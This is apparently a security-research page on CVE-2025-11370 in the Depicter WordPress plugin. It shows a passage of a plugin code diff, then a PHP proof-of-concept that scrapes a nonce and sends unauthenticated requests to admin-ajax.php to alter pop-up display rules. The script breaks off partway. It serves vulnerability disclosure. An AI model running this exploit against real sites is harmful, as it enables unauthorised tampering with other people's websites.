+			$documents = $documents->where( 'status', $args['status'] );
+		}
+
 		if ( !empty( $args['types'] ) ) {
             $types = explode( ',', $args['types'] );
             $where = [];
@@ -289,6 +293,8 @@
             $documents = $documents->where( $where );
 		}

+		$total = $documents->count();
+
 		if ( !empty( $args['page'] ) && !empty( $args['perPage'] ) ) {
 			$pager = $documents->paginate( $args['perPage'], $args['page'] );
 			if ( $pager ) {
@@ -330,6 +336,7 @@
 			return [
 				'page' => $args['page'],
 				'perPage' => $args['perPage'],
+				'total' => $total,
 				'numberOfPages' => $numberOfPages,
 				'documents' => $documents
 			];
@@ -966,4 +973,28 @@
 			return [];
 		}
 	}
+
+	/**
+	 * Get number of published documents
+	 *
+	 * @return int
+	 */
+    public function getNumberOfPublishedDocuments(){
+        try{
+            $publishedDocuments = $this->document()->where( 'parent', '0' )->published()->count();
+            $draftDocuments = $this->document()->select('id')->where( 'parent', '0' )->draft()->findAll()->get();
+            if ( $draftDocuments ) {
+                $draftDocuments = $draftDocuments->toArray();
+                foreach ( $draftDocuments as $document ) {
+                    if ( $this->isPublishedBefore( $document['id'] ) ) {
+                        ++$publishedDocuments;
+                    }
+                }
+            }
+
+            return $publishedDocuments;
+        } catch ( Exception $e ){
+            return 0;
+        }
+    }
 }
--- a/depicter/app/src/Database/Repository/LeadRepository.php
+++ b/depicter/app/src/Database/Repository/LeadRepository.php
@@ -209,10 +209,12 @@
 		)->join( "{$this->leadField()->getTable()} AS lf", "{$leadTable}.id", "=", "lf.lead_id" );

 		if( ! empty( $args['dateStart'] ) ){
+			$args['dateStart'] = $this->normalizeDateTime( $args['dateStart'], 'start' );
 			$leads->where( "{$leadTable}.created_at", '>=', $args['dateStart'] );
 		}

 		if( ! empty( $args['dateEnd'] ) ){
+			$args['dateEnd'] = $this->normalizeDateTime( $args['dateEnd'], 'end' );
 			$leads->where( "{$leadTable}.created_at", '<=', $args['dateEnd'] );
 		}

@@ -240,6 +242,21 @@
 		] : [];
 	}

+	/**
+	 * Normalize date to include time
+	 *
+	 * @param string $date
+	 * @param string $type
+	 *
+	 * @return string
+	 */
+	public function normalizeDateTime( string $date, $type = 'start' ){
+		if (preg_match('/^d{4}-d{2}-d{2}$/', $date)){
+			return $date . ' ' . ($type === 'start' ? '00:00:00' : '23:59:59');
+		}
+		return $date;
+	}
+

 	/**
 	 * Apply pagination if possible
--- a/depicter/app/src/Database/Repository/QueueJobRepository.php
+++ b/depicter/app/src/Database/Repository/QueueJobRepository.php
@@ -0,0 +1,70 @@
+<?php
+
+namespace DepicterDatabaseRepository;
+
+use DepicterDatabaseEntityQueueJob;
+use DepicterUtilitySanitize;
+
+class QueueJobRepository
+{
+
+    private QueueJob $job;
+
+    public function __construct(){
+        $this->job = QueueJob::new();
+    }
+
+    /**
+     * Access to an instance of Lead entity
+     *
+     * @return QueueJob
+     */
+    public function job(): QueueJob{
+        return QueueJob::new();
+    }
+
+    public function create( $queue, $payload ) {
+        return $this->job()->create([
+            'queue' => $queue,
+            'payload' => $payload,
+            'attempts' => 0,
+        ]);
+    }
+
+    public function update( $id, array $fields = [] ) {
+        if ( empty( $fields ) ) {
+            return false;
+        }
+
+        $job =  $this->job()->findById( $id );
+
+        if ( $job && $job->count() ){
+            return $job->first()->update($fields);
+        }
+
+        return false;
+    }
+
+    public function delete( $id ): bool
+    {
+        $succeed = false;
+
+        if( is_array( $id ) ){
+            $ids = $id;
+        } elseif( false !== strpos( $id, ',' ) ){
+            $ids = explode(',', $id );
+        } else {
+            $ids = [$id];
+        }
+
+        foreach( $ids as $id ){
+            $id = Sanitize::int( $id );
+            if( $job = $this->job()->findById( $id ) ){
+                $job->delete();
+                $succeed = true;
+            }
+        }
+        return $succeed;
+    }
+
+}
--- a/depicter/app/src/Document/Models/Common/InnerStyles.php
+++ b/depicter/app/src/Document/Models/Common/InnerStyles.php
@@ -7,4 +7,21 @@
 	 * @var Styles|null
 	 */
 	public $items;
+
+	/**
+	 * @var array
+	 */
+	public $dynamicStyleProperties = [];
+
+    public function __set(string $name, $value) {
+        $this->dynamicStyleProperties[ $name ] = $value;
+    }
+
+    public function __get(string $name) {
+        return $this->dynamicStyleProperties[ $name ] ?? null;
+    }
+
+    public function __isset(string $name) {
+        return isset( $this->dynamicStyleProperties[ $name ] );
+    }
 }
--- a/depicter/app/src/Document/Models/Document.php
+++ b/depicter/app/src/Document/Models/Document.php
@@ -230,6 +230,15 @@
 	}

 	/**
+	 * Check if document has teaser or not
+	 *
+	 * @return boolean
+	 */
+	public function hasTeaser(): bool {
+		return !empty( $this->options->documentTypeOptions->teaser->enabled );
+	}
+
+	/**
 	 * Render markup for possible notices
 	 *
 	 * @return void
@@ -320,6 +329,9 @@
 	 */
 	protected function renderSectionsAndElements(){
 		foreach ( $this->sections as $section ) {
+			if ( $section->getType() == 'teaser' && ! $this->hasTeaser() ) {
+				continue;
+			}
 			$this->html->nest( $section->render() . "n" );
 			$this->stylesList = array_merge( $this->stylesList, $section->getCss() );

@@ -391,9 +403,8 @@

 		// add before init styles separately to style list as well
 		$this->stylesList[ '.'. $this->getStyleSelector() ]['beforeInitStyle'] = [
-			'.'. $this->getStyleSelector() => $this->options->getStyles(),
+			'.'. $this->getStyleSelector() => array_merge_recursive( $this->options->getStyles(), $this->options->getPrimaryContainerStyles() ),
 			'.'. $this->getStyleSelector( true ) . ':not(.depicter-ready)' => $this->options->getBeforeInitStyles(), // styles to prevent FOUC. It should not have depicter-revert class in selector
-			'.'. $this->getStyleSelector() => $this->options->getPrimaryContainerStyles(),
 		];

 		return $this->stylesList;
--- a/depicter/app/src/Document/Models/Element.php
+++ b/depicter/app/src/Document/Models/Element.php
@@ -256,9 +256,9 @@
 		if ( strpos( $this->type, 'dpc' ) !== false ) {
 			$this->componentType = $this->type;
 			$this->type = 'component';
-		} else if ( strpos( $this->type, 'form:' ) !== false ) {
+		} else if ( strpos( $this->type, 'form:' ) !== false || $this->type === "hiddenInput" ) {
 			$this->componentType = $this->type;
-			$this->type = 'form';
+			$this->type = $this->type !== 'form:submit'? 'form' : 'button';
 		} else if ( strpos( $this->type, 'survey:' ) !== false ) {
 			$this->componentType = $this->type;
 			$this->type = $this->type == 'survey:submit' || $this->type == 'survey:next' || $this->type == 'survey:prev' ? 'button' : 'survey';
@@ -551,19 +551,31 @@
 		if ( !empty( $innerStyles ) ) {

 			foreach( $innerStyles as $cssSelector => $styles ){
-				if ( empty( $styles ) || ! $styles instanceof CommonStyles ) {
-					continue;
-				}
+				// Handle "dynamicStyleProperties" specially
+				$styleItems = $cssSelector === 'dynamicStyleProperties' ? (array) $styles : [$cssSelector => $styles];

-				$generalCss = $innerStyles->{$cssSelector}->getGeneralCss('normal');
-                // Add SVG selector and css
-                $svgCss = $this->getInnerSvgCss( $cssSelector );
-				$this->selectorCssList[ '.' . $this->getStyleSelector() . ' .' . Helper::camelCaseToHyphenated( $cssSelector ) ] = array_merge_recursive( $generalCss, $svgCss );
-
-                $hoverCss = $innerStyles->{$cssSelector}->getGeneralCss('hover');
-                if ( !empty( $hoverCss ) ) {
-                    $this->selectorCssList[ '.' . $this->getStyleSelector() . ' .' . Helper::camelCaseToHyphenated( $cssSelector ) ]['hover'] = Arr::merge( $hoverCss['hover'] , $this->selectorCssList[ '.' . $this->getStyleSelector() . ' .' . Helper::camelCaseToHyphenated( $cssSelector ) ]['hover']);
-                }
+				foreach ($styleItems as $selector => $style) {
+					if (empty($style) || ! $style instanceof CommonStyles) {
+						continue;
+					}
+
+					$key = '.' . $this->getStyleSelector() . ' .' . Helper::camelCaseToHyphenated($selector);
+
+					// Normal CSS
+					$generalCss = $style->getGeneralCss('normal');
+					$svgCss     = $this->getInnerSvgCss($selector);
+
+					$this->selectorCssList[$key] = array_merge_recursive($generalCss, $svgCss);
+
+					// Hover CSS
+					$hoverCss = $style->getGeneralCss('hover');
+					if (!empty($hoverCss)) {
+						$this->selectorCssList[$key]['hover'] = Arr::merge(
+							$hoverCss['hover'],
+							$this->selectorCssList[$key]['hover']
+						);
+					}
+				}
 			}
 		}

@@ -579,7 +591,13 @@
     protected function getInnerSvgCss( $cssSelector ): array
     {
         // Get styles list from styles property
-        return ! empty( $this->innerStyles->{$cssSelector} ) ? $this->innerStyles->{$cssSelector}->getSvgCss() : [];
+		if ( ! empty( $this->innerStyles->{$cssSelector} ) ) {
+			return $this->innerStyles->{$cssSelector}->getSvgCss();
+		} else if ( ! empty( $this->innerStyles->dynamicStyleProperties[ $cssSelector ] ) ) {
+			return $this->innerStyles->dynamicStyleProperties[ $cssSelector ]->getSvgCss();
+		}
+
+        return [];
     }

 	/**
--- a/depicter/app/src/Document/Models/Elements/Button.php
+++ b/depicter/app/src/Document/Models/Elements/Button.php
@@ -1,9 +1,7 @@
 <?php
 namespace DepicterDocumentModelsElements;

-use AvertaCoreUtilityArr;
 use DepicterDocumentModels;
-use DepicterDocumentModelsCommonStyles;
 use DepicterHtmlHtml;

 class Button extends ModelsElement
@@ -13,7 +11,9 @@

 		$args = $this->getDefaultAttributes();

-		if ( $this->componentType && ( $this->componentType == 'survey:submit' || $this->componentType == 'survey:next' || $this->componentType == 'survey:prev' ) ) {
+		if ( $this->componentType &&
+			 in_array( $this->componentType, ['form:submit', 'survey:submit', 'survey:next', 'survey:prev'] )
+		   ) {
 			$args['data-type'] = $this->componentType;
 		}

@@ -28,9 +28,9 @@

 			if ( ! empty( $this->options->submitContent ) ) {
 				$args['data-submit-text'] = $this->options->submitContent;
-			}
+			}
 		}
-
+
 		if ( ! empty( $this->options->iconAlign ) && $this->options->iconAlign == 'right' )  {
 			$args['class'] .= ' dp-icon-right';
 		}
@@ -51,7 +51,7 @@
 		}

 		$content = ! empty ( $this->options->iconOnly ) && $this->options->iconOnly ? "" : $this->maybeReplaceDataSheetTags( $this->options->content );
-
+
 		$buttonContent = Html::span( [
 			'class' => 'dp-inner-content'
 		], $iconTag . $content);
--- a/depicter/app/src/Document/Models/Elements/Form.php
+++ b/depicter/app/src/Document/Models/Elements/Form.php
@@ -3,9 +3,7 @@

 use AvertaCoreUtilityArr;
 use DepicterDocumentCSSSelector;
-use DepicterDocumentHelperHelper;
 use DepicterDocumentModels;
-use DepicterDocumentModelsCommonStyles;
 use DepicterHtmlHtml;

 class Form extends ModelsElement
@@ -35,6 +33,10 @@
 				case 'form:message':
 					$output = Html::div( $args, $this->getMessageContent() );
 					break;
+				case "hiddenInput":
+					$args['data-source'] = $this->options->source;
+					$args['data-source-key'] = $this->options->sourceKey;
+					$output = Html::div( $args, $this->getHiddenInputContent() );
 				default:
 					break;
 			}
@@ -102,7 +104,7 @@
 		}
 		if ( ! empty( $this->options->label ) && ! empty( $this->options->showLabel ) ) {
 			$output .= Html::label([
-				'class' => Selector::prefixify( 'field-label' ),
+				'class' => $this->options->type === "checkbox" ? Selector::prefixify( 'choice-label' ) : Selector::prefixify( 'field-label' ),
 				'for' => $this->options->attributes->name
 			], $this->options->label ) . "n";
 		}
@@ -176,6 +178,10 @@
 		return $output;
 	}

+	protected function getHiddenInputContent(): string {
+		return Html::input( 'hidden', $this->options->name, '', [] );
+	}
+
 	/**
 	 * Get list of selector and CSS for element and belonging child elements
 	 *
--- a/depicter/app/src/Document/Models/Options/Script.php
+++ b/depicter/app/src/Document/Models/Options/Script.php
@@ -187,6 +187,24 @@

 		$attributes['useWatermark'] = Depicter::auth()->isSubscriptionExpired();

+		if ( $document->hasTeaser() ) {
+			$attributes['teaser'] = [
+				'enabled' => true,
+				'placement' => $document->options->documentTypeOptions->teaser->placement,
+				'behavior' => $document->options->documentTypeOptions->teaser->behavior ?? "always",
+				'vSpace' => [
+					'value' => $document->options->documentTypeOptions->teaser->vSpace->value,
+					'unit' => $document->options->documentTypeOptions->teaser->vSpace->unit
+				],
+				'hSpace' => [
+					'value' => $document->options->documentTypeOptions->teaser->hSpace->value,
+					'unit' => $document->options->documentTypeOptions->teaser->hSpace->unit
+				]
+			];
+		}
+
+		$attributes = apply_filters( 'depicter/player/script/attributes', $attributes );
+
 		$basePath = Depicter::core()->assets()->getUrl() . '/resources/scripts/player/';

 		$script  = "n(window.depicterSetups = window.depicterSetups || []).push(function(){";
--- a/depicter/app/src/Document/Models/Section.php
+++ b/depicter/app/src/Document/Models/Section.php
@@ -113,6 +113,10 @@
 	 */
 	public $visibilitySchedule;

+	/**
+	 * @var string
+	 */
+	public $type = 'section';

 	/**
 	 * get section ID
@@ -142,6 +146,15 @@
 	}

 	/**
+	 * Get section name
+	 *
+	 * @return string
+	 */
+	public function getType() {
+		return $this->type ?? "section";
+	}
+
+	/**
 	 * Gets belonging element ids
 	 *
 	 * @return array
@@ -228,6 +241,7 @@
 			'id'          => $this->getCssID(),
 			'class'	      => $this->getClassNames(),
 			'data-name'   => $this->getName(),
+			'data-type'	  => $this->getType(),
             'data-local-id' => $this->id
 		];

--- a/depicter/app/src/Editor/EditorAssets.php
+++ b/depicter/app/src/Editor/EditorAssets.php
@@ -27,21 +27,17 @@
 			['jquery'],
 			true
 		);
+		Depicter::core()->assets()->enqueueStyle(
+			'depicter-editor-style',
+			Depicter::core()->assets()->getUrl() . '/resources/scripts/editor/depicter-editor-styles.css'
+		);

 		wp_enqueue_style('common');

 		// Enqueue scripts.
-		Depicter::core()->assets()->enqueueScript(
-			'depicter-editor-vendors',
-			Depicter::core()->assets()->getUrl() . '/resources/scripts/editor/vendors-main.js',
-			[],
-			true
-		);
-		Depicter::core()->assets()->enqueueScript(
+		Depicter::core()->assets()->enqueueScriptModule(
 			'depicter-editor-js',
-			Depicter::core()->assets()->getUrl() . '/resources/scripts/editor/depicter-editor.js',
-			['depicter-editor-vendors'],
-			true
+			Depicter::core()->assets()->getUrl() . '/resources/scripts/editor/depicter-editor.js'
 		);

 		$currentUser = wp_get_current_user();
@@ -121,7 +117,7 @@
 		}

 		// Add Environment variables
-		wp_add_inline_script( 'depicter-editor-vendors', 'window.depicterEnv = '. JSON::encode( $envData ), 'before' );
+		wp_print_inline_script_tag( 'window.depicterEnv = '. JSON::encode( $envData ) );

 	}

--- a/depicter/app/src/Front/Assets.php
+++ b/depicter/app/src/Front/Assets.php
@@ -110,6 +110,11 @@
 			foreach( $documentIDs as $documentID ){
 				if( false !== $cssLinkToEnqueue = Depicter::cache('document')->get( $documentID . '_css_files' ) ){
 					$cssLinksToEnqueue = $cssLinksToEnqueue + $cssLinkToEnqueue;
+				} else {
+					Depicter::document()->cacheCustomStyles( $documentID );
+					if( false !== $cssLinkToEnqueue = Depicter::cache('document')->get( $documentID . '_css_files' ) ){
+						$cssLinksToEnqueue = $cssLinksToEnqueue + $cssLinkToEnqueue;
+					}
 				}
 			}

--- a/depicter/app/src/Front/Symbols.php
+++ b/depicter/app/src/Front/Symbols.php
@@ -65,7 +65,8 @@
 		    $clipPathContent = Html::el('svg', [
 				//'xmlns' => "http://www.w3.org/2000/svg",
 			    'width' => '0',
-			    'height' => '0'
+			    'height' => '0',
+				'class' => 'depicter-svg-clip-paths'
 		    ], $clipPathContent . "n" );
 	    }

--- a/depicter/app/src/Integration/MailChimp/MailChimp.php
+++ b/depicter/app/src/Integration/MailChimp/MailChimp.php
@@ -0,0 +1,225 @@
+<?php
+namespace DepicterIntegrationMailChimp;
+
+
+use AvertaCoreUtilityArr;
+use AvertaWordPressUtilityJSON;
+use DepicterGuzzleHttpClient;
+use DepicterGuzzleHttpExceptionGuzzleException;
+
+class MailChimp
+{
+
+    /**
+     * Retrieves the list of audiences from provided account
+     *
+     * @param string $apiKey
+     *
+     * @return array
+     */
+    public function getAudienceList($apiKey) {
+        $region = substr($apiKey, strpos($apiKey, '-') + 1);
+        $url = "https://$region.api.mailchimp.com/3.0/lists";
+
+        try {
+            $body = $this->callApi($apiKey, $url);
+
+            return [
+                'hits'    => $body['lists'] ?? []
+            ];
+        } catch (GuzzleException $e) {
+            return [
+                'hits'    => [],
+                'errors'   => [ $e->getMessage() ]
+            ];
+        }
+    }
+
+    /**
+     * Retrieves the list of fields from provided audience
+     *
+     * @param string $apiKey
+     * @param string|int $listId
+     *
+     * @return array
+     */
+    public function getListFields( $apiKey, $listId ) {
+        $region = substr($apiKey, strpos($apiKey, '-') + 1);
+        $url = "https://$region.api.mailchimp.com/3.0/lists/$listId/merge-fields";
+
+        try{
+            $body = $this->callApi($apiKey, $url);
+
+            $mergeFields = empty( $body['status'] ) ? [
+                [
+                    "merge_id" => 0,
+                    "tag" => "email_address",
+                    "name" => "Email",
+                    "type" => "text",
+                    "required" => true,
+                    "default_value" => "",
+                    "public" => true,
+                    "display_order" => 0,
+                    "options" => [
+                        "size" => 25,
+                        "choices" => null
+                    ]
+                ]
+            ] : [];
+
+            if ( ! empty( $body['merge_fields'] ) ) {
+                $mergeFields = Arr::merge( $mergeFields, $body['merge_fields']);
+            }
+
+            return [
+                'hits'  => $mergeFields
+            ];
+        } catch (GuzzleException $e) {
+            return [
+                'hits'    => [],
+                'errors'   => [ $e->getMessage() ]
+            ];
+        }
+    }
+
+    public function submitToMailchimp( $leadId ): array
+    {
+        try{
+            $lead = Depicter::leadRepository()->get( $leadId );
+            if ( empty( $lead ) ) {
+                return [
+                    'success' => false,
+                    'error'   => __( 'Lead does not exist', 'depicter' )
+                ];
+            }
+        } catch ( Exception $e ){
+            return [
+                'success' => false,
+                'error'   => $e->getMessage()
+            ];
+        }
+
+        $config = $this->getConfig( $lead['source_id'] );
+        if ( empty( $config ) ) {
+            return [
+                'success' => false,
+                'error'   => __( 'Lead form is not connected to mailchimp', 'depicter' )
+            ];
+        }
+
+        if ( empty( $config['apiKey'] ) ) {
+            return [
+                'success' => false,
+                'error'   => __( 'Mailchimp API key is required', 'depicter' )
+            ];
+        }
+
+        $mappedEmailField = array_filter( $config['fieldMapping'], function ( $fieldMap ) {
+           return !empty( $fieldMap['to'] ) && $fieldMap['to'] == 'email_address';
+        });
+
+        if ( empty( $mappedEmailField ) ) {
+            return [
+                'success' => false,
+                'error'   => __( 'Email is required', 'depicter' )
+            ];
+        }
+
+        try{
+            $leadFields = Depicter::leadFieldRepository()->leadField()->where( 'lead_id', $leadId )->findAll()->get();
+            if ( $leadFields ) {
+                $leadFields = $leadFields->toArray();
+            } else {
+                return [
+                    'success' => false,
+                    'error'   => __( 'Lead does not have any field', 'depicter' )
+                ];
+            }
+        } catch ( Exception $e ){
+            return [
+                'success' => false,
+                'error'   => $e->getMessage()
+            ];
+        }
+
+        $region = substr($config['apiKey'], strpos($config['apiKey'], '-') + 1);
+        $url = "https://" . $region . ".api.mailchimp.com/3.0/lists/" . $config['listId'] . "/members/";
+
+
+        $payload = [
+            'status' => 'subscribed',
+        ];
+        $mergeFields = [];
+        foreach ( $leadFields as $leadField ) {
+            if ( $leadField['name'] == 'email' ) {
+                $payload['email_address'] = $leadField['value'];
+                continue;
+            }
+
+            $mappedField = array_filter( $config['fieldMapping'], function ( $fieldMap ) use ( $leadField ) {
+                return !empty( $fieldMap['from'] ) && $fieldMap['from'] == 'field:' . $leadField['name'];
+            });
+
+            if ( empty( $mappedField ) ) {
+                continue;
+            }
+
+            $mergeFields[ $mappedField[0]['to'] ] = $leadField['value'];
+        }
+        $payload['merge_fields'] = $mergeFields;
+
+        $client = new Client();
+        try {
+            $response = $client->post( $url, [
+                'auth' => [
+                    'myToken', $config['apiKey'],
+                ],
+                'json' => $payload
+            ]);
+
+            // todo: we have to check the final response here
+            return [
+                'success' => true,
+                'response' => JSON::decode($response->getBody()->getContents(), true)
+            ];
+        } catch ( GuzzleException $e ){
+            return [
+                'success' => false,
+                'error'   => __( 'Mailchimp API error', 'depicter' )
+            ];
+        }
+    }
+
+    public function getConfig( $source_id ) {
+        $editorData = Depicter::document()->getEditorRawData( $source_id );
+        if ( empty( $editorData ) ) {
+            return [
+                'success' => false,
+                'error'   => __( 'Empty document data', 'depicter' )
+            ];
+        }
+
+        $editorData = JSON::decode( $editorData, true );
+        if ( empty( $editorData['options']['integrations']['mailchimp']['config'] ) || empty( $editorData['options']['integrations']['mailchimp']['enabled'] ) ) {
+            return [
+                'success' => false,
+                'error'   => __( 'Document is not connected to mailchimp', 'depicter' )
+            ];
+        }
+
+        return $editorData['options']['integrations']['mailchimp']['config'];
+    }
+
+    protected function callApi($apiKey, $url){
+
+        $client = new Client();
+        $response = $client->get( $url, [
+            'auth' => ['anystring', $apiKey], // Mailchimp expects username:apikey format
+            'headers' => [
+                'Content-Type' => 'application/json'
+            ]
+        ]);
+
+        return JSON::decode($response->getBody()->getContents(), true);
+    }
+}
--- a/depicter/app/src/Integration/Manager.php
+++ b/depicter/app/src/Integration/Manager.php
@@ -0,0 +1,29 @@
+<?php
+namespace DepicterIntegration;
+
+use AvertaWordPressUtilityJSON;
+use DepicterIntegrationMailChimpMailChimp;
+
+class Manager {
+
+    public function init() {
+        add_action( 'depicter/lead/created', [ $this, 'add_queue_job' ], 10, 3 );
+    }
+
+    /**
+     * @return MailChimp
+     */
+    public function mailchimp(): MailChimp {
+        return Depicter::resolve('depicter.integration.mailchimp');
+    }
+
+    public function add_queue_job( $lead_id, $source_id, $content_id ) {
+        if ( false !== $config = $this->mailchimp()->getConfig( $source_id, $content_id ) ) {
+            $payload = JSON::encode([
+                'lead_id' => $lead_id,
+            ]);
+
+            Depicter::queueJobsRepository()->create( 'mailchimp',$payload );
+        }
+    }
+}
--- a/depicter/app/src/Integration/ServiceProvider.php
+++ b/depicter/app/src/Integration/ServiceProvider.php
@@ -0,0 +1,38 @@
+<?php
+namespace DepicterIntegration;
+
+use DepicterIntegrationMailChimpMailChimp;
+use DepicterIntegrationManager;
+use WPEmergeServiceProvidersServiceProviderInterface;
+
+/**
+ * Load document data manager.
+ */
+class ServiceProvider implements ServiceProviderInterface {
+
+	/**
+	 * {@inheritDoc}
+	 */
+	public function register( $container ) {
+		$app = $container[ WPEMERGE_APPLICATION_KEY ];
+
+		$container[ 'depicter.integration.manager' ] = function () {
+			return new Manager();
+		};
+
+		$app->alias( 'integration', 'depicter.integration.manager' );
+
+        $container[ 'depicter.integration.mailchimp' ] = function () {
+			return new MailChimp();
+		};
+
+	}
+
+	/**
+	 * {@inheritDoc}
+	 */
+	public function bootstrap( $container ) {
+        Depicter::integration()->init();
+	}
+
+}
--- a/depicter/app/src/Middleware/CapabilityMiddleware.php
+++ b/depicter/app/src/Middleware/CapabilityMiddleware.php
@@ -35,7 +35,7 @@
 		// ignore the request if the current user doesn't have sufficient permissions
 		if ( ! current_user_can( $capability ) ) {
 			return $this->responseService->json([
-				'errors' => [ __( "Sorry, insufficient permission!", 'depicter' ) ]
+				'errors' => [ __( sprintf( "Sorry, insufficient permission to perform this action! '%s' capability is required!", $capability ), 'depicter' ) ]
 			])->withStatus(403);
 		}

--- a/depicter/app/src/Modules/Gutenberg/build/index.asset.php
+++ b/depicter/app/src/Modules/Gutenberg/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element'), 'version' => '7c9b8dc55616a7f1a99f44519a29503c');
 No newline at end of file
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components'), 'version' => '29fbdd9be20a4812ce21');
--- a/depicter/app/src/Modules/Gutenberg/module.php
+++ b/depicter/app/src/Modules/Gutenberg/module.php
@@ -0,0 +1,99 @@
+<?php
+
+namespace DepicterModulesGutenberg;
+
+class Module
+{
+    public function __construct() {
+        $this->initGutenbergBlock();
+		add_action( 'admin_enqueue_scripts', [ $this, 'loadGutenbergAdminWidgetScripts'] );
+		add_action( 'wp_enqueue_scripts', [$this, 'loadGutenbergWidgetScripts']);
+    }
+
+    public function loadGutenbergWidgetScripts() {
+        if ( $this->hasDepicter() ) {
+            wp_enqueue_style(
+                'depicter-gutenberg',
+                Depicter::core()->assets()->getUrl() . '/app/src/Modules/Gutenberg/build/index.css',
+                [],
+                '1.0.0'
+            );
+        }
+	}
+
+	public function loadGutenbergAdminWidgetScripts() {
+
+		$current_screen = get_current_screen();
+		if ( !$current_screen->is_block_editor() ) {
+			return;
+		}
+
+		$list = [
+			[
+				'id' => "0",
+				'name' => __( 'Select Slider', 'depicter' )
+			]
+		];
+		$documents = Depicter::documentRepository()->select( ['id', 'name'] )->where('type', 'not in', ['popup', 'banner-bar'])->orderBy('modified_at', 'DESC')->findAll()->get();
+		$list = $documents ? array_merge( $list, $documents->toArray() ) : $list;
+		if ( !empty( $list ) ) {
+			foreach ( $list as $key => $item ) {
+				$list[ $key ]['label'] = $item['name'];
+				unset( $list[ $key ]['name'] );
+
+				$list[ $key ]['value'] = $item['id'];
+				unset( $list[ $key ]['id'] );
+			}
+		}
+
+		// load common assets
+		Depicter::front()->assets()->enqueueStyles();
+		Depicter::front()->assets()->enqueueScripts(['player', 'iframe-resizer']);
+
+		wp_localize_script( 'wp-block-editor', 'depicterSliders',[
+			'list' => $list,
+			'ajax_url' => admin_url('admin-ajax.php'),
+			'editor_url' => Depicter::editor()->getEditUrl('1'),
+			'token' => Depicter::csrf()->getToken( DepicterSecurityCSRF::EDITOR_ACTION ),
+			'publish_text' => esc_html__( 'Publish Slider', 'depicter' ),
+			'edit_text' => esc_html__( 'Edit Slider', 'depicter' )
+		]);
+
+	}
+
+	public function initGutenbergBlock() {
+		register_block_type( __DIR__ . '/build', [
+			'render_callback' => [ $this, 'renderGutenbergBlock' ]
+		] );
+	}
+
+	public function renderGutenbergBlock( $blockAttributes ) {
+
+		if ( !empty( $blockAttributes['id'] ) ) {
+			$id = (int) $blockAttributes['id'];
+			return depicter( $id, ['echo' => false ] );
+		} else {
+			echo esc_html__( 'Slider ID required', 'depicter' );
+		}
+
+	}
+
+    public function hasDepicter($post_id = null) {
+        if (!$post_id) {
+            global $post;
+            $post_id = $post->ID ?? null;
+ 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-11370 - Depicter <= 4.0.7 - Missing Authorization to Unauthenticated Display Rule Updates

<?php
/**
 * Proof of Concept for CVE-2025-11370
 * Unauthenticated Display Rule Update in Depicter WordPress Plugin <= 4.0.7
 *
 * This script demonstrates how an attacker can modify pop-up display rules
 * without authentication by exploiting the missing capability check in the
 * RulesAjaxController::store() function.
 */

// Configuration - Set your target WordPress site URL
$target_url = 'https://vulnerable-site.com';

// The AJAX endpoint for WordPress
$ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php';

// The vulnerable action parameter
$action = 'depicter-rules-store';

// First, we need to obtain a valid nonce from the site
// Nonces are often exposed in page source or can be retrieved from other endpoints
function get_nonce_from_site($target_url) {
    // Method 1: Try to extract from page source (common pattern)
    $homepage = file_get_contents($target_url);
    
    // Look for nonce patterns in the page source
    // Depicter nonces might be in script tags or data attributes
    preg_match_all('/"nonce"s*:s*"([a-f0-9]+)"/i', $homepage, $matches);
    
    if (!empty($matches[1])) {
        return $matches[1][0];
    }
    
    // Method 2: Try common nonce parameter names
    $common_nonces = ['_wpnonce', 'nonce', 'depicter_nonce', 'security'];
    preg_match_all('/"(' . implode('|', $common_nonces) . ')"s*:s*"([a-f0-9]+)"/i', $homepage, $matches);
    
    if (!empty($matches[2])) {
        return $matches[2][0];
    }
    
    // If no nonce found, we might need to explore other methods
    // For this PoC, we'll use a placeholder
    return 'obtain_valid_nonce_from_target';
}

// Get a nonce from the target site
$nonce = get_nonce_from_site($target_url);

// Prepare the malicious request to update display rules
// The exact payload structure depends on the rule being modified
$payload = [
    'action' => $action,
    'nonce' => $nonce,
    'rule_id' => '1',  // Target rule ID to modify
    'conditions' => json_encode([
        'type' => 'always',
        'settings' => ['display' => 'always']
    ]),
    'settings' => json_encode([
        'display' => 'always',
        'frequency' => 'everytime',
        'devices' => ['desktop', 'tablet', 'mobile']
    ])
];

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $ajax_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
